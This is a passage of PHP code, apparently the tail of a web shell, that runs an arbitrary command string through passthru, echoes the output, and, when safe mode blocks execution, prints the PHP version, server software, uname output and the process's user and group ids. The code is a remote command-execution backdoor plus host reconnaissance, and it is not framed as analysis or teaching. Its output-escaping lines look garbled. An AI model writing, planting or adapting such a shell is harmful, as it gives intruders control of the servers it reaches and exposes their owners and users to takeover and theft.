&1");


      else


        @passthru("$cmd");


      $output = ob_get_contents();


      ob_end_clean();


      if (!empty($output))


        echo str_replace(">", ">", str_replace("<", "<", $output));


    }


    else


      echo "No command to execute.";


  }


  else {


    echo "Due to SafeMode, it's unable to execute commands!\n";





    echo "Machine informations:\n";


    echo "PHP: ".phpversion()."\n";


    echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";


    $uname = @posix_uname();


    if (!empty($uname)) {


      while (list($info, $value) = each($uname))


        echo "$value ";


      echo "\n";


    }


    $uids  = @posix_getlogin();


    $euids = @posix_getlogin();


    $uid   = @posix_getuid();


    $euid  = @posix_geteuid();


    $gid   = @posix_getgid();


    if (!empty($uid))


      echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";


  }





?>